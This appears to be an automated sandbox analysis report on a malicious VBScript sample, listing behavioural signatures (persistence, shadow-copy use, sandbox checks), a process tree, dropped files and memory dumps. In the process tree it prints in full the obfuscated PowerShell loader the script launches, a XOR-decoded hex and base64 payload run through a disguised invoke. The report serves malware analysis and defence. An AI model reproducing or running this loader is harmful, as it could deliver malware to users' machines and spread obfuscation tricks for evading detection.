Overview

overview

8

Static

static

1

_345f1a469...12.vbs

windows10-2004-x64

8

_345f1a469...12.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 08:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _345f1a469766e833647ea1bd49a5ec5d12854819cc176adadbdc9857c53c4d12.vbs
  • Size 18KB
  • Sample260709-kmm21sfv2m
  • SHA256 345f1a469766e833647ea1bd49a5ec5d12854819cc176adadbdc9857c53c4d12
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_345f1a469766e833647ea1bd49a5ec5d12854819cc176adadbdc9857c53c4d12.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=22-21;$qPkWduL='JDF5HKFc';$nSUiJutil='ede4bfeb839398e4b38289fa92c1c19a858d83f18692ccfaede4b7d18795c29a859c9af68184bca6898098d2838f8dae859cb1a5d8b289aa959c85eb9bb19ea694818ff08ec1d1e9bba089ebccb289aa959c85eb9bb19ea694818ff08eb595b985b3d6a5b68d9ff8d2e3e6bb80d7d8f4c78ab4d1928381aa87bbdff39885ab9f94a195ddd382dea595b495ddb684b487d0b4bbaf97b4819f8d8cabc98885aba5968c86ec8582a49f898cabf388a8ab8793b7b4d198a8aa8b8fb7bbaad283def8a8b7b4cd8e84df8bd1b781e792b8958b9a8aabd9d280bb8487bfb4d198bbbbf8898ca4f485b5abf088b4a9d99882de9f94b781e7d7aaab83d58aabc980b9bf8b8ea5b4eba082df878c8cbbd59184bf8b8fbeb9d99882de9f94b781e7d7ad87ad8c8aa9c9d6bbbb87d18aabf397bbdc8f9a8ddec996b881b1d5a5aff4d5a8aba58da5abf885a8b8f8958abbe791aab4bdd9a7a4d58e85a49f998c85dda082a48ba58cdeae8a80bbfd95bfdfc99b82819f958aa9cd9483bb8f908c85aaaf83de8f8ba5abfc92aedff8d9c9e195a38588e4b4979cfac2ccb8b0908ba8fa848882a0948783f1c2c9b79d859698b1a78f8fa6848782f8bfdbd69cb4a8d4b1a584989a949c85f185c9b78a8f809afa9095b1f3daa89ef08fa38dba85d8d8cc969385a787c6c8fdd4d5c5e0c9e3e6f9978f8fbd898182bf86c9c8a5c995c8e8dfaf89becda18ef5878298e9ae8b98b1b5848e8a8c8789f196dac48e859ac1cd838f88a68dcec8f3c2ccafa6958098bfc68dc28a8f9b82ebcb9dc9b2949c95e4908498bc9280ccbb95cfa8a6978080f08385a8a8948fc4bbbdc891aa819a8ff7999c91b4ede48aea8c8298a08f80ccf6cac58de5c49ac0bb8fcdc8b9ddaec4b6cb9ac8b0ddb5bcf7838f98a68da98deb87bcd6f3ac818dfba3929fac8d8c80e6cac5';$vnpIW6p1X='fjgoRE8jN08xVnYUSWdjU2w5OhwiZTdpMVdmDHFQclt6MT4FbD43QmIqNw4gOkEYWHRnLXhqe1l7OTcNMTZIZHp3fwV+anpZcT9RCXN6elh4V38Bem1OEU9kcQx0fT94cH9DFX9yelUzQmcBaXdwGlZ/YBR8cHBTODg6WzlxLl95OTJEczBaRUxlchR0fTpNRFBwFHRockJwY05aJ11hU35ldilzbWdXcXJ2SDlMOkskNX1OVHBlWXR0O0RyMjdGNmweahAUN10iUTtIOnZnQm8rPE92ZHJXMXJ8Tmd/PAcxe2MHOjc/Hjh5ZxRtbSkZMCAjVzMvJAUxIzRANj40BCg/Klkyd35RMCA9Cm15NB82HBkJezY7Engsd0A5dTobfn93SDlqLm1LdGsUM1t9VXB1eg56QykMSkVVWDNZdkJMZWEJc3k7Eng4Ok1wf2dVdzYvXE5KUhE/OjNHT0otCDc/OV80Ii9zUVUtXjo3aDsVMTNEenl1FiIxNBRlaj1bTHx1DVtYPAEwKSdOKSwhGCY/JVEvMTwMeGJ1C3p4e1Bsd2AEOj4oFjt2dAY9IzMSeHZ1Tk5rcUVrY3oOejYjGj81dAd7MF9TcXZnCD0zMwctOB5qOXIzCz82I0c9JR48PzEzQHQ+O21cfn0WeGxnayUrVRJyc1FXbHQlVE5qYV9xdjtEUH9nVXd0YDssQzofPzZ+GW1sfFFtcH5OVXF+U3piNEA6bGZYbGI0QF02N1F4dz9AOXI/Fjg2P0A6U2BUanh/BDoyMxEvNjNMPTlrACs2Om0XPjMWP1Z2FDBOYVl8dGATYW18RGsxUDBIPj5SemJwHG57f1N8ZTNNe3dhRWsxJhx7ajN4fnx2TF5ORhZiHBltFz4zFj8xM0A9PjM=';$rGSEJPgg0=0x83C1-0xC04D;$hOWypkWuH=@();foreach($c in [char[]]$qPkWduL){$hOWypkWuH+=[byte]($c-bxor0xAA)};$jQYxY3oGm=$hOWypkWuH;$hOWypkWuH=@();foreach($c in [char[]]$qPkWduL){$hOWypkWuH+=[byte]($c-bxor0x55)};$nvjWr9Oc=$hOWypkWuH;$hOWypkWuHoldR='';$i=0;for($j=0;$j-lt$nSUiJutil.Length;$j+=2){$hOWypkWuHoldR+=[char](([Convert]::ToInt32($nSUiJutil.Substring($j,2),16))-bxor$jQYxY3oGm[$i++%$jQYxY3oGm.Length])};$zL6Ci4=$hOWypkWuHoldR;$hOWypkWuHoldB=[Convert]::FromBase64String([regex]::Replace($vnpIW6p1X, '$hOWypkWuH', ''));$hOWypkWuHoldR='';$i=0;for($j=0;$j-lt$hOWypkWuHoldB.Length;$j++){$hOWypkWuHoldR+=[char]($hOWypkWuHoldB[$j]-bxor$nvjWr9Oc[$i++%$nvjWr9Oc.Length])};$hwOftOJC=$hOWypkWuHoldR;$r6ailW=$zL6Ci4+$hwOftOJC;.($env:ComSpec[4,26,25]-join'') $r6ailW
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5tjmjp0q\5tjmjp0q.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2BB9.tmp" "c:\Users\Admin\AppData\Local\Temp\5tjmjp0q\CSC1EB777F3839E4F23A8388CD455F7EFC2.TMP"
          4⤵
            PID:3976
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4244
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:4376
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:6080
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:624

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          5tjmjp0q.dll
          • Path C:\Users\Admin\AppData\Local\Temp\5tjmjp0q\5tjmjp0q.dll
          • Size 3KB
          • SHA256 31461923ef7859cb80b2707b284b2f507da94d749b4a7ef65b6bc16a883e22e7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          RES2BB9.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RES2BB9.tmp
          • Size 1KB
          • SHA256 abc5302bcb002b6394b49e6ba8a6e322c9e69cea1fc9fb25a3f1529e06a8e62d
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          5tjmjp0q.0.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\5tjmjp0q\5tjmjp0q.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          5tjmjp0q.cmdline
          • Path \??\c:\Users\Admin\AppData\Local\Temp\5tjmjp0q\5tjmjp0q.cmdline
          • Size 369B
          • SHA256 878ac195c203d3ace78989a8591e62f9cf81574a244314fed2e503f5ad48be88
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CSC1EB777F3839E4F23A8388CD455F7EFC2.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\5tjmjp0q\CSC1EB777F3839E4F23A8388CD455F7EFC2.TMP
          • Size 652B
          • SHA256 6ab6c89f5167b8a56195b610b64985eec3638f1dcd88b9d7b61fdc1be47ae2ab
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/624-215-0x0000024A6B460000-0x0000024A6B894000-memory.dmp
          Download

          memory/5068-10-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-29-0x0000029D3CDB0000-0x0000029D3CDB8000-memory.dmp
          Download

          memory/5068-11-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-12-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-13-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-14-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-17-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-18-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-9-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-8-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-7-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-6-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-5-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-0-0x00007FFF671EF000-0x00007FFF671F0000-memory.dmp
          Download

          memory/5068-30-0x0000029D22E40000-0x0000029D22E5A000-memory.dmp
          Download

          memory/5068-32-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-33-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-35-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/5068-4-0x0000029D3CD40000-0x0000029D3CD62000-memory.dmp
          Download

          memory/5068-3-0x00007FFF67060000-0x00007FFF67A04000-memory.dmp
          Download

          memory/6080-88-0x0000027481D70000-0x0000027481D90000-memory.dmp
          Download

          memory/6080-65-0x0000027481E70000-0x0000027481F70000-memory.dmp
          Download

          memory/6080-56-0x00000274801E0000-0x00000274802E0000-memory.dmp
          Download

          memory/6080-102-0x0000027494310000-0x0000027494330000-memory.dmp
          Download

          memory/6080-63-0x0000027481A50000-0x0000027481A70000-memory.dmp
          Download